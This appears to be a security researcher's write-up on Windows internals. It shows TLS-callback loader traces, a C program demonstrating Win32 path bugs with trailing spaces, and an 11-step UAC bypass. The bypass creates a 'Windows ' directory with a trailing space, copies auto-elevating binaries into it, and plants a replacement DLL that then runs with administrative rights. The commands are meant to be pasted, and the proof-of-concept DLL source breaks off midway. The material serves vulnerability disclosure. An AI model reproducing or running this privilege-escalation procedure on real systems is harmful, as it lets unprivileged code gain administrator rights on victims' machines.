3 (thread detach) Unused = 0x00000000 Thread id = 7816 Thread exit code = 259 Process exit code = 259 TLSCallback() function @ 0x7465104E Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F4E8 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 0 (process detach) Unused = 0x00000000 Thread id = 13192 Thread exit code = 259 Process exit code = 258 _DllMainCRTStartup() function @ 0x7465122A Called module @ 0x74650000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F524 = 0x778D9280 Arguments: Module = 0x74650000 Reason = 0 (process detach) Context = 0x00000001 Thread id = 13192 TLS index = 1 TLS value = 0x00000000 TLS array @ 0x008028A8 TLS block @ 0x008028E8 TLSCallback() function @ 0x0023104E Called module @ 0x00230000 = C:\Users\Stefan\Desktop\quirk10.exe Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll Return address @ 0x0233F4E8 = 0x778D9280 Arguments: Module = 0x00230000 Reason = 0 (process detach) Unused = 0x00000000 Thread id = 13192 Thread exit code = 259 Process exit code = 258 0x102 (WIN32: 258 WAIT_TIMEOUT) -- 258 (258) Error message text: The wait operation timed out. CertUtil: -error command completed successfully.
TLSCallback() function @ 0x000007FEF63B106C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x000000000027EF38 = 0x0000000077725078 Arguments: Module = 0x000007FEF63B0000 Reason = 1 (process attach) Unused = 0x0000000000000000 Thread id = 11656 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x000007FEF63B132C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x000000000027EFA8 = 0x0000000077717C3E Arguments: Module = 0x000007FEF63B0000 Reason = 1 (process attach) Context = 0x000000000027F730 Thread id = 11656 TLS index = 1 TLS value = 0x0000000000000000 TLS array @ 0x00000000003F3300 TLS block @ 0x000000000041A1E0 Thread 2764 created and started TLSCallback() function @ 0x000000013F61106C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\quirk10.exe Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x000000000027EF38 = 0x0000000077725078 Arguments: Module = 0x000000013F610000 Reason = 1 (process attach) Unused = 0x0000000000000000 Thread id = 11656 Thread exit code = 259 Process exit code = 259 wmainCRTStartup() function @ 0x000000013F61132C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\quirk10.exe Calling module @ 0x00000000774C0000 = C:\Windows\system32\kernel32.dll Return address @ 0x000000000027FB88 = 0x00000000774D556D Thread id = 11656 TLS index = 0 TLS value = 0x0000000000000000 TLS array @ 0x00000000003F3300 TLS block @ 0x00000000003F3350 Thread 7656 created and started TLSCallback() function @ 0x000007FEF63B106C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3F6B8 = 0x0000000077725078 Arguments: Module = 0x000007FEF63B0000 Reason = 2 (thread attach) Unused = 0x0000000000000000 Thread id = 2764 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x000007FEF63B132C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3F728 = 0x00000000777183CC Arguments: Module = 0x000007FEF63B0000 Reason = 2 (thread attach) Context = 0x0000000000000000 Thread id = 2764 TLS index = 1 TLS value = 0x0000000000000000 TLS array @ 0x000000000041A310 TLS block @ 0x000000000041A380 TLSCallback() function @ 0x000000013F61106C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\quirk10.exe Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3F6B8 = 0x0000000077725078 Arguments: Module = 0x000000013F610000 Reason = 2 (thread attach) Unused = 0x0000000000000000 Thread id = 2764 Thread exit code = 259 Process exit code = 259 ThreadProc() function @ 0x000007FEF63B11E4 Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x00000000774C0000 = C:\Windows\system32\kernel32.dll Return address @ 0x0000000001D3FD48 = 0x00000000774D556D Parameter = 0x0000000000000000 Thread id = 2764 TLSCallback() function @ 0x000007FEF63B106C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3FB98 = 0x0000000077725078 Arguments: Module = 0x000007FEF63B0000 Reason = 3 (thread detach) Unused = 0x0000000000000000 Thread id = 2764 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x000007FEF63B132C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3FC08 = 0x0000000077718785 Arguments: Module = 0x000007FEF63B0000 Reason = 3 (thread detach) Context = 0x0000000000000000 Thread id = 2764 TLS index = 1 TLS value = 0x0000000000000000 TLS array @ 0x000000000041A310 TLS block @ 0x000000000041A380 TLSCallback() function @ 0x000000013F61106C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\quirk10.exe Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001D3FB98 = 0x0000000077725078 Arguments: Module = 0x000000013F610000 Reason = 3 (thread detach) Unused = 0x0000000000000000 Thread id = 2764 Thread exit code = 259 Process exit code = 259 TLSCallback() function @ 0x000007FEF63B106C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6F7D8 = 0x0000000077725078 Arguments: Module = 0x000007FEF63B0000 Reason = 2 (thread attach) Unused = 0x0000000000000000 Thread id = 7656 Thread exit code = 259 Process exit code = 259 _DllMainCRTStartup() function @ 0x000007FEF63B132C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6F848 = 0x00000000777183CC Arguments: Module = 0x000007FEF63B0000 Reason = 2 (thread attach) Context = 0x0000000000000000 Thread id = 7656 TLS index = 1 TLS value = 0x0000000000000000 TLS array @ 0x000000000041B410 TLS block @ 0x000000000041B460 TLSCallback() function @ 0x000000013F61106C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\quirk10.exe Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6F7D8 = 0x0000000077725078 Arguments: Module = 0x000000013F610000 Reason = 2 (thread attach) Unused = 0x0000000000000000 Thread id = 7656 Thread exit code = 259 Process exit code = 259 ThreadProc() function @ 0x000000013F6111E4 Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\quirk10.exe Calling module @ 0x00000000774C0000 = C:\Windows\system32\kernel32.dll Return address @ 0x0000000001F6FE68 = 0x00000000774D556D Parameter = 0x000007FEF63B2138 Thread id = 7656 TLSCallback() function @ 0x000007FEF63B106C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6FA18 = 0x0000000077725078 Arguments: Module = 0x000007FEF63B0000 Reason = 0 (process detach) Unused = 0x0000000000000000 Thread id = 7656 Thread exit code = 259 Process exit code = 258 _DllMainCRTStartup() function @ 0x000007FEF63B132C Called module @ 0x000007FEF63B0000 = C:\Users\Stefan\Desktop\quirk10.dll Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6FA88 = 0x000000007771775B Arguments: Module = 0x000007FEF63B0000 Reason = 0 (process detach) Context = 0x0000000000000001 Thread id = 7656 TLS index = 1 TLS value = 0x0000000000000000 TLS array @ 0x000000000041B410 TLS block @ 0x000000000041B460 TLSCallback() function @ 0x000000013F61106C Called module @ 0x000000013F610000 = C:\Users\Stefan\Desktop\quirk10.exe Calling module @ 0x00000000776E0000 = C:\Windows\SYSTEM32\ntdll.dll Return address @ 0x0000000001F6FA18 = 0x0000000077725078 Arguments: Module = 0x000000013F610000 Reason = 0 (process detach) Unused = 0x0000000000000000 Thread id = 7656 Thread exit code = 259 Process exit code = 258 0x102 (WIN32: 258 WAIT_TIMEOUT) -- 258 (258) Error message text: The wait operation timed out. CertUtil: -error command completed successfully.Note: the module loader calls the TLS Callback Function
TLSCallback()
before the entry-point
functions of the
DLL
quirk10.dll
and the console application
quirk10.exe
, and finally also after
the latter called
ExitProcess()
!
Oops¹: although both
StartAddressOfRawData
and
EndAddressOfRawData
members of the
_tls_used
structure are NULL
, i.e.
TLS template data is
absent, the module loader allocates a
TLS block per
thread!
Oops²: contrary to the documentation cited
above, the module loader ignores the SizeOfZeroFill
member of the _tls_used
structure!
Oops³: contrary to the documentation cited above, the exit code of the not yet terminated process is already set!
FindFirstFile()
,
FindFirstFileEx()
,
GetFullPathName()
,
GetLongPathName()
and
GetShortPathName()
are documented in the
MSDN as
follows:
Searches a directory for a file or subdirectory with a name that matches a specific name (or partial name if wildcards are used).[…]
[…]HANDLE FindFirstFile( LPCTSTR lpFileName, LPWIN32_FIND_DATA lpFindFileData );
If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the lpFindFileData parameter contains information about the first file or directory found.
If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.
If the function fails because no matching files can be found, the GetLastError function returns ERROR_FILE_NOT_FOUND.
Searches a directory for a file or subdirectory with a name and attributes that match those specified.[…]
[…]HANDLE FindFirstFileEx( LPCTSTR lpFileName, FINDEX_INFO_LEVELS fInfoLevelId, LPVOID lpFindFileData, FINDEX_SEARCH_OPS fSearchOp, LPVOID lpSearchFilter, DWORD dwAdditionalFlags );
If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the lpFindFileData parameter contains information about the first file or directory found.
If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.
Retrieves the full path and file name of the specified file.[…]
[…]DWORD GetFullPathName( LPCTSTR lpFileName, DWORD nBufferLength, LPTSTR lpBuffer, LPTSTR *lpFilePart );
This function does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume.
[…]
If the return value is greater than or equal to the value specified in nBufferLength, you can call the function again with a buffer that is large enough to hold the path. […]
Note Although the return value in this case is a length that includes the terminating null character, the return value on success does not include the terminating null character in the count.
Converts the specified path to its long form.[…]
[…]DWORD GetLongPathName( LPCTSTR lpszShortPath, LPTSTR lpszLongPath, DWORD cchBuffer );
If the function succeeds, the return value is the length, in TCHARs, of the string copied to lpszLongPath, not including the terminating null character.
If the lpBuffer buffer is too small to contain the path, the return value is the size, in TCHARs, of the buffer that is required to hold the path and the terminating null character.
If the function fails for any other reason, such as if the file does not exist, the return value is zero. To get extended error information, call GetLastError.
[…]
If the file or directory exists but a long path is not found, GetLongPathName succeeds, having copied the string referred to by the lpszShortPath parameter to the buffer referred to by the lpszLongPath parameter.
If the return value is greater than the value specified in cchBuffer, you can call the function again with a buffer that is large enough to hold the path. […]
Note Although the return value in this case is a length that includes the terminating null character, the return value on success does not include the terminating null character in the count.
Retrieves the short path form of the specified path.[…]
[…]DWORD GetShortPathName( LPCTSTR lpszLongPath, LPTSTR lpszShortPath, DWORD cchBuffer );
If the function succeeds, the return value is the length, in TCHARs, of the string that is copied to lpszShortPath, not including the terminating null character.
If the lpszShortPath buffer is too small to contain the path, the return value is the size of the buffer, in TCHARs, that is required to hold the path and the terminating null character.
If the function fails for any other reason, the return value is zero. To get extended error information, call GetLastError.
[…]
If the return value is greater than the value specified in the cchBuffer parameter, you can call the function again with a buffer that is large enough to hold the path. […]
Note Although the return value in this case is a length that includes the terminating null character, the return value on success does not include the terminating null character in the count.[…]If you call GetShortPathName on a path that doesn't have any short names on-disk, the call will succeed, but will return the long-name path instead. This outcome is also possible with NTFS volumes because there's no guarantee that a short name will exist for a given long name.
Create the text file quirk13.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WIN32_FIND_DATA wfd;
WCHAR szBuffer[MAX_PATH];
DWORD dwBuffer;
DWORD dwError;
BOOL bFind = FALSE;
HANDLE hFind;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
#ifdef DEVICE
hFind = FindFirstFile(L"..\\NUL:", &wfd);
#else
hFind = FindFirstFile(L"Quirk13 \\*", &wfd);
#endif
if (hFind == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"FindFirstFile() returned error %lu\n",
dwError = GetLastError());
else
{
do
PrintConsole(hConsole,
L"Find%lsFile() returned filename \'%ls\' with alternate (8.3) filename \'%ls\' and attributes 0x%08lX\n",
bFind ? L"Next" : L"First", wfd.cFileName, wfd.cAlternateFileName, wfd.dwFileAttributes);
while (bFind = FindNextFile(hFind, &wfd));
dwError = GetLastError();
if (dwError == ERROR_NO_MORE_FILES)
dwError = ERROR_SUCCESS;
else
PrintConsole(hConsole,
L"FindNextFile() returned error %lu\n",
dwError);
if (!FindClose(hFind))
PrintConsole(hConsole,
L"FindClose() returned error %lu\n",
dwError = GetLastError());
}
#ifdef DEVICE
dwBuffer = GetFullPathName(L"..\\NUL:",
#else
dwBuffer = GetFullPathName(L"Quirk13 \\*",
#endif
sizeof(szBuffer) / sizeof(*szBuffer),
szBuffer,
NULL);
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetFullPathName() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetFullPathName() returned pathname \'%ls\' of %lu characters\n",
szBuffer, dwBuffer);
#ifdef DEVICE
hFind = FindFirstFile(L"..\\NUL:", &wfd);
#else
hFind = FindFirstFile(L"Quirk13 \\.", &wfd);
#endif
if (hFind == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"FindFirstFile() returned error %lu\n",
dwError = GetLastError());
else
{
do
PrintConsole(hConsole,
L"Find%lsFile() returned filename \'%ls\' with alternate (8.3) filename \'%ls\' and attributes 0x%08lX\n",
bFind ? L"Next" : L"First", wfd.cFileName, wfd.cAlternateFileName, wfd.dwFileAttributes);
while (bFind = FindNextFile(hFind, &wfd));
dwError = GetLastError();
if (dwError == ERROR_NO_MORE_FILES)
dwError = ERROR_SUCCESS;
else
PrintConsole(hConsole,
L"FindNextFile() returned error %lu\n",
dwError);
if (!FindClose(hFind))
PrintConsole(hConsole,
L"FindClose() returned error %lu\n",
dwError = GetLastError());
}
#ifdef DEVICE
dwBuffer = GetFullPathName(L"..\\NUL:",
#else
dwBuffer = GetFullPathName(L"Quirk13 \\.",
#endif
sizeof(szBuffer) / sizeof(*szBuffer),
szBuffer,
NULL);
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetFullPathName() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetFullPathName() returned pathname \'%ls\' of %lu characters\n",
szBuffer, dwBuffer);
#ifdef DEVICE
dwBuffer = GetLongPathName(L"..\\NUL:",
#else
dwBuffer = GetLongPathName(L"Quirk13 \\.",
#endif
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetLongPathName() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetLongPathName() returned pathname \'%ls\' of %lu characters\n",
szBuffer, dwBuffer);
#ifdef DEVICE
dwBuffer = GetShortPathName(L"..\\NUL:",
#else
dwBuffer = GetShortPathName(L"Quirk13 \\.",
#endif
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetShortPathName() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetShortPathName() returned pathname \'%ls\' of %lu characters\n",
szBuffer, dwBuffer);
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk13.exe
from the
source file quirk13.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk13.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk13.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk13.c quirk13.c(63) : warning C4706: assignment within conditional expression quirk13.c(107) : warning C4706: assignment within conditional expression Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk13.exe quirk13.obj kernel32.lib user32.lib
Execute the console application quirk13.exe
built in
step 2. to demonstrate the inconsistent (mis)behaviour:
.\quirk13.exe MKDIR "Quirk13 \" .\quirk13.exe RMDIR "Quirk13 \" MKDIR Quirk13 .\quirk13.exe RMDIR Quirk13Note: the command lines can be copied and pasted as block into a Command Processor window.
FindFirstFile() returned error 3 GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13 \*' of 34 characters FindFirstFile() returned error 2 GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13' of 31 characters GetLongPathName() returned error 2 GetShortPathName() returned error 2 FindFirstFile() returned filename '.' with alternate (8.3) filename '' and attributes 0x00000010 FindNextFile() returned filename '..' with alternate (8.3) filename '' and attributes 0x00000010 GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13 \*' of 34 characters FindFirstFile() returned error 2 GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13' of 31 characters GetLongPathName() returned error 2 GetShortPathName() returned error 2 FindFirstFile() returned error 3 GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13 \*' of 34 characters FindFirstFile() returned filename 'Quirk13' with alternate (8.3) filename '' and attributes 0x00000010 GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13' of 31 characters GetLongPathName() returned pathname 'Quirk13\.' of 9 characters GetShortPathName() returned pathname 'Quirk13 \.' of 10 charactersOUCH¹: the Win32 functions
FindFirstFile()
,
GetFullPathName()
,
GetLongPathName()
and
GetShortPathName()
misinterpret the directory name …\Quirk13 \.
as
…\Quirk13
!
OUCH²: contrary to its documentation cited
above, the Win32 function
FindFirstFile()
does not return INVALID_HANDLE_VALUE
with Win32 error code 2 alias
ERROR_FILE_NOT_FOUND
set if the (empty) directory …\Quirk13 \
exists!
OUCH³: contrary to their documentation cited
above, the Win32 functions
GetLongPathName()
and
GetShortPathName()
do not return zero with Win32 error
code 3 alias
ERROR_PATH_NOT_FOUND
set if the directory …\Quirk13\
exists!
OUCH⁴: the Win32 function
GetShortPathName()
returns the not existing (relative) path name
Quirk13 \.
if the directory
…\Quirk13\
exists!
FindFirstFileEx()
,
FindFirstFileTransacted()
,
GetFullPathNameTransacted()
and
GetLongPathNameTransacted()
is left as an exercise to the reader.
Note: an exploration of the behaviour for directory or file names with multiple trailing spaces as well as one or more trailing dots followed by one or more spaces, i.e. an extension containing only spaces, is also left as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
GetFullPathName()
and
GetLongPathName()
are used (direct and indirect) by the security theatreUAC to verify two of the three preconditions required for
auto-elevationof applications:
autoElevate
property in the (embedded)
Application Manifest,
Windows Publishercode signing certificate, and
securealias
trustedlocation like
%SystemRoot%\
and its subdirectories.
path rules.
Note: the well-known bug of the Win32 functions is documented as CWE-41: Improper Resolution of Path Equivalence, CWE-46: Path Equivalence: 'filename ' (Trailing Space), CWE-162: Improper Neutralization of Trailing Special Elements and CWE-163: Improper Neutralization of Multiple Trailing Special Elements in the CWE™.
Cmd.exe
unelevated, then perform the following 11 steps to
exploit the bugs demonstrated above and show a
UAC bypass including
arbitrary code execution with administrative privileges and access
rights.
Note: the command lines can be copied and pasted as blocks into a Command Processor window.
Steps 1. to 8. show the normal, intended and expected behaviour, steps 9. and 10. exploit the bugs, and step 11. cleans up.
Execute
KTMUtil.exe
to verify that the Command Processor
Cmd.exe
runs without
administrative privileges and access rights.
CHDIR /D "%SystemRoot%" System32\KTMUtil.exe
The KTMUTIL utility requires that you have administrative privileges.
Load and execute
NetPlWiz.dll
to display the User Accounts
dialog box:
System32\RunDLL32.exe System32\NetPlWiz.dll,UsersRunDllNote: the TechNet article PassportWizardRunDll documents another (now removed) function of
NetPlWiz.dll
that
Load and execute
PrintUI.dll
to
display a dialog box with the usage instructions of its
PrintUIEntry()
function, as documented in the
TechNet
article
Rundll32 printui.dll,PrintUIEntry:
System32\RunDLL32.exe System32\PrintUI.dll,PrintUIEntry /?
Load and execute
ShUnimpl.dll
to let
RunDLL32.exe
display an error message box:
System32\RunDLL32.exe System32\ShUnimpl.dll,#0Note:
ShUnimpl.dll
is the
graveyardfor obsolete and now unimplemented functions of Windows’
Shellfrom prior versions of Windows NT – to inhibit their use, its
_DllMainCRTStartup()
entry point function intentionally returns FALSE
and
lets the Win32 function
LoadLibrary()
fail with Win32 error code 1114 alias
ERROR_DLL_INIT_FAILED
.
Execute
MMC.exe
to trigger
a (blue) UAC prompt
that shows Verified Publisher: Microsoft Windows
:
System32\MMC.exeNote: the TechNet article Understanding and Configuring User Account Control in Windows Vista provides detailed information not just about the color code.
Execute the auto-elevating
PrintUI.exe
to load
PrintUI.dll
and
display its Printer Settings
dialog box
without triggering a
UAC prompt:
System32\NetPlWiz.exe
Execute the auto-elevating
NetPlWiz.exe
to load
NetPlWiz.dll
and display its User Accounts
dialog box
without triggering a
UAC prompt:
System32\PrintUI.exe
Copy MMC.exe
,
NetPlWiz.exe
and PrintUI.exe
into
an (arbitrary) subdirectory of the systems’ TEMP
directory %SystemRoot%\Temp\
, then execute these copies
to trigger a (now yellow)
UAC prompt that
shows Publisher: Unknown
:
MKDIR Temp\Example COPY System32\MMC.exe Temp\Example\MMC.exe Temp\Example\MMC.exe COPY System32\NetPlWiz.exe Temp\Example\NetPlWiz.exe Temp\Example\NetPlWiz.exe COPY System32\PrintUI.exe Temp\Example\PrintUI.exe Temp\Example\PrintUI.exe RMDIR /Q /S Temp\Example
1 file(s) copied. 1 file(s) copied. 1 file(s) copied.Note: the digital signatures of almost all files shipped with Windows are not embedded in these files, but stored in separate
catalog files
%SystemRoot%\System32\CatRoot\{00000000-0000-0000-0000-000000000000}\*.cat
,
%SystemRoot%\System32\CatRoot\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\*.cat
and
%SystemRoot%\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\*.cat
;
an index of the signatures’ hashes is maintained in the
catalog database files
%SystemRoot%\System32\CatRoot2\{00000000-0000-0000-0000-000000000000}\catdb
,
%SystemRoot%\System32\CatRoot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\catdb
and
%SystemRoot%\System32\CatRoot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb
.
(Not only) UAC
validates these detached digital signatures independent of the
actual file name, and with some exceptions, for example in an
untrusted directory like %SystemRoot%\Temp\
, also
independent of the actual path name.
Create the directory Windows \
in the root directory of
the system drive
, copy
MMC.exe
,
NetPlWiz.exe
and PrintUI.exe
into
it, execute the copy of
MMC.exe
to trigger
a (blue) UAC prompt
that shows Publisher: Unknown
, then execute
NetPlWiz.exe
and PrintUI.exe
to
load
NetPlWiz.dll
and PrintUI.dll
which display their dialog boxes without triggering
a UAC prompt:
MKDIR "%SystemRoot% " COPY System32\MMC.exe "%SystemRoot% \MMC.exe" "%SystemRoot% \MMC.exe" COPY System32\NetPlWiz.exe "%SystemRoot% \NetPlWiz.exe" "%SystemRoot% \NetPlWiz.exe" COPY System32\PrintUI.exe "%SystemRoot% \PrintUI.exe" "%SystemRoot% \PrintUI.exe"
1 file(s) copied. 1 file(s) copied. 1 file(s) copied.Ouch: due to the bugs in the Win32 functions
FindFirstFile()
,
GetFullPathName()
,
GetLongPathName()
and
GetShortPathName()
demonstrated above,
UAC misidentifies
%SystemRoot% \
as trusteddirectory and performs
auto-elevation!
Note:
UAC exhibits this
vulnerability (at least) in the directories
%SystemRoot% \
,
%SystemRoot% .\
,
%SystemRoot% . \
, %SystemRoot%. \
,
%SystemRoot% . \
, %SystemRoot%. \
,
%SystemRoot% . \
, %SystemRoot%. \
.
Copy ShUnimpl.dll
as
NetPlWiz.dll
and PrintUI.dll
into the directory Windows \
, then execute the copies
of the auto-elevating
NetPlWiz.exe
and PrintUI.exe
again:
COPY System32\ShUnimpl.dll "%SystemRoot% \NetPlWiz.dll" "%SystemRoot% \NetPlWiz.exe" System32\CertUtil.exe /ERROR %ERRORLEVEL% COPY System32\ShUnimpl.dll "%SystemRoot% \PrintUI.dll" "%SystemRoot% \PrintUI.exe" ECHO %ERRORLEVEL% System32\Net.exe HELPMSG %ERRORLEVEL%
1 file(s) copied. 0xc0000139 (NT: 0xc0000139 STATUS_ENTRYPOINT_NOT_FOUND) -- 3221225785 (-1073741511) Error message text: {Entry Point Not Found} The procedure entry point %hs could not be located in the dynamic link library %hs. CertUtil: -error command completed successfully. 1 file(s) copied. 1114 A dynamic link library (DLL) initialization routine failed.OUCH: (like almost all applications shipped with Windows)
NetPlWiz.exe
and PrintUI.exe
are
vulnerable to
CWE-426: Untrusted Search Path
and
CWE-427: Uncontrolled Search Path Element,
and susceptible to
CAPEC-471: Search Order Hijacking
– they load and execute (at least) an arbitrary
(unsigned)
NetPlWiz.dll
respectively
PrintUI.dll
from their (untrusted and user-writable)
application directory
%SystemRoot% \
instead
from Windows’ system directory
%SystemRoot%\System32\
, allowing arbitrary code
execution with administrative privileges and access rights!
Note: if Microsoft’s developers
were not so careless, clueless and sloppy, their
quality miserability assurance not sound
asleep, and their managers not completely incompetent and ignorant,
they would have read for example the
MSRC
blog post
Load Library Safely,
the MSKB
articles
2389418
and
2533623,
the Security Advisory
2269637,
the MSDN
articles
Dynamic-Link Library Security
and
Dynamic-Link Library Search Order,
then exercised defense in depth
and fixed their crap long ago
to inhibit such attacks!
Note:
NetPlWiz.dll
is a
static (load-time) dependency
of
NetPlWiz.exe
,
and PrintUI.dll
is a
run-time dependency
of PrintUI.exe
.
Note: building a DLL that loads and executes arbitrary code is left as an exercise to the reader.
�
// Copyright © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define wmemcpy __movsw
__declspec(dllexport)
VOID WINAPI PrintUIEntryW(HWND hWindow,
HINSTANCE hInstance,
LPCSTR lpszCmdLine,
INT nCmdShow)
{
if (!WriteProfileString(L"PrintUI",
L"PrintUIEntryW",
GetCommandLine()))
/* no error handling */;
}
__declspec(dllexport)
VOID WINAPI UsersRunDllW(HWND hWindow,
HINSTANCE hInstance,
LPCSTR lpszCmdLine,
INT nCmdShow)
{
if (!WriteProfileString(L"NetPlWiz",
L"UsersRunDllW",
GetCommandLine()))
/* no error handling */;
}
__declspec(safebuffers)
BOOL WINAPI _DllMainCRTStartup(HMODULE hModule,
DWORD dwReason,
LPVOID lpReserved)
{
DWORD dwModule;
WCHAR szModule[MAX_PATH];
DWORD dwProcess;
WCHAR szProcess[MAX_PATH];
DWORD dwWindows;
WCHAR szWindows[MAX_PATH];
HANDLE hWindows;
DWORD dwOutput;
CHAR szOutput[1024];
if (dwReason != DLL_PROCESS_ATTACH)
return FALSE;
dwModule = GetModuleFileName(hModule,
szModule,
sizeof(szModule) / sizeof(*szModule));
if (dwModule != 0)
szModule[dwModule] = L'\0';
else
memcpy(szModule, L"<unknown>", sizeof(L"<unknown>"));
dwProcess = GetModuleFileName((HMODULE) NULL,
szProcess,
sizeof(szProcess) / sizeof(*szProcess));
if (dwProcess != 0)
szProcess[dwProcess] = L'\0';
else
memcpy(szProcess, L"<unknown>", sizeof(L"<unknown>"));
